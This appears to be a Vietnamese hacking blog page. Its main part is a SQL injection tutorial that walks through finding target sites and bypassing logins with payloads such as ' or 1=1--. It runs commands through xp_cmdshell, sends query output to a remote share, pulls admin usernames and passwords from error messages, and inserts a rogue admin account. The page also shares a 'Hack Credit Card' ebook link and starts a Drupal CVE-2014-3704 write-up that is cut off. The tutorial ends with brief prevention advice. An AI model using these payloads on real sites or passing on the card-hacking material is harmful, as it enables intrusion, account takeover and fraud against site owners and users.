Tấn công kiểu SQL Injection --- Của Aptech

<div dir="ltr" style="text-align: left;" trbidi="on"> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">1.SQL Injection là gì?</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">2. Tìm kiếm mục tiêu</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Ví dụ:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>http://yoursite.com/index.asp?id=10</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em><FORM action=Search/search.asp method=post><br /><input type=hidden name=A value=C><br /></FORM></em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">3. Kiểm tra chỗ yếu của trang web</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>Login: hi' or 1=1--<br />Password: hi' or 1=1--<br />http://yoursite.com/index.asp?id=hi' or 1=1--</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em><FORM action=http://yoursite.com/Search/search.asp method=post><br /><input type=hidden name=A value="hi' or 1=1--"><br /></FORM></em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu thành công, thì có thể login vào mà không cần phải biết username và password</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>http://yoursite.com/index.asp?category=food</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>v_cat = request("category")<br />sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"<br />set rs=conn.execute(sqlstr)</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>SELECT * FROM product WHERE PCategory='food'</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1--, biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>SELECT * FROM product WHERE PCategory='food' or 1=1--'</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>SELECT * FROM product WHERE PCategory='food' or 'a'='a'</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>' or 1=1--</em></div> <div align="justify"> <em>" or 1=1--</em></div> <div align="justify"> <em>or 1=1--</em></div> <div align="justify"> <em>' or 'a'='a</em></div> <div align="justify"> <em>" or "a"="a</em></div> <div align="justify"> <em>') or ('a'='a</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">5. Thi hành lệnh từ xa bằng SQL Injection</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>#tcpdump icmp</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong>6. Nhận output của SQL query</strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Chú ý: folder "<strong>share</strong>" phải được share cho Everyone trước.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">7. Nhận dữ liệu qua 'database using ODBC error message'</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--</em></blockquote> <div style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">8. Xác định tên của các column trong table</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">9. Thu thập các dữ liệu quan trọng</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có thể lấy login_name đầu tiên trong table "admin_login" như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">10. Nhận các numeric string</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">11. Thay đổi dữ liệu (Update/Insert) của CSDL</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Để thay đổi password của "neo", có thể làm như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Hoặc nếu bạn muốn một record mới vào table:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Và bây giờ có thể login vào với username "neo2" và password là "newpas5"</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">12. Ngăn chặn SQL Injection</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:</div> <ul style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <li>input do người dùng đệ trình</li> <li>các tham số từ URL</li> <li>các giá trị từ cookie</li> </ul> <div style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Xóa các stored procedure trong database master mà không dùng như:</div> <ul style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <li>xp_cmdshell</li> <li>xp_startmail</li> <li>xp_sendmail</li> <li>sp_makewebtask</li> </ul> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">13. Ngăn chặn SQL Injection trong ASP.NET</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.</div> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"> </span></div>

Tấn công kiểu SQL Injection --- Của Aptech

1.SQL Injection là gì? SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL qu...

Read More »

Share Ebook Hack Credit Card Written By HieuPC

<div dir="ltr" style="text-align: left;" trbidi="on"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Link Mediafire: <a href="https://www.mediafire.com/?nqux8r5xawe5w">https://www.mediafire.com/?nqux8r5xawe5w</a></span></div>

Share Ebook Hack Credit Card Written By HieuPC

Link Mediafire: https://www.mediafire.com/?nqux8r5xawe5w

Read More »

Phân tích lỗ hổng SQLi nghiêm trọng trong Drupal dễ dàng bị khai thác

<div dir="ltr" style="text-align: left;font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;" trbidi="on"><strong>Một lỗ hổng nguy hiểm trong Drupal cho phép tạo mới các tài khoản quản trị của hệ thống. Hiện Drupal đã phát hành một phiên bản mới của Drupal bạn nên cập nhật ngay phiên bản mới để đảm bảo an toàn cho hệ thống của mình.</strong><br /> Nguy cơ bảo mật này được đánh số mã CVE là CVE-2014-3704 và có khả năng tiến hành một cuộc tấn công khai thác SQL thông qua các request được thiết kế đặc biệt. Nhóm nghiên cứu an ninh Drupal trong bản tư vấn cho biết cuộc tấn công khai thác lỗ hổng này “có thể dẫn các hình thức sự leo thang đặc quyền”, sự khác biệt duy nhất được tạo ra do nội dung gửi lên của các của các yêu cầu HTTP.<br /> <h4>Phân tích lỗ hổng</h4>Khai thác lỗ hổng hacker có thể dễ dàng tạo được một tải khoản với quyền administrator, quyền cao nhất trên hệ thống website. Mã khai thác của lỗ hổng này đã được công khai và nhiều các công cụ khai thác tự động được viết bằng PHP, Python đã được chia sẻ trên mạng. SecurityDaily đã thử nghiệm khai thác thành công trên các phiên bản cũ của Drupal.<br /> Lợi dụng lỗ hổng SQL Injection trong việc xử lý biến GET gửi từ trình duyệt, hacker sẽ thêm vào các lệnh SQL như INSERT hay UPDATE để tạo mới hoặc sửa các tài khoản quản trị đã có. Tuy nhiên, các công cụ khai thác tự động sẽ gặp trở ngại khi hệ thống được cấu hình giá trị <strong>$salt </strong>( giá trị được sử dụng trong hàm Hash để mã hóa mật khẩu trước khi lưu vào cơ sở dữ liệu). Tuy nhiên, hacker vẫn có thể có cách để khai thác thủ công và bypass cơ chế này.<br /> <strong>Vấn đề là đặc biệt nghiêm trọng </strong><br /> Drupal là một mã nguồn mở CMS (hệ thống quản lý nội dung) mà hàng triệu trang web trên toàn thế giới dựa vào. Các lỗ hổng hiện nay, ảnh hưởng đến các 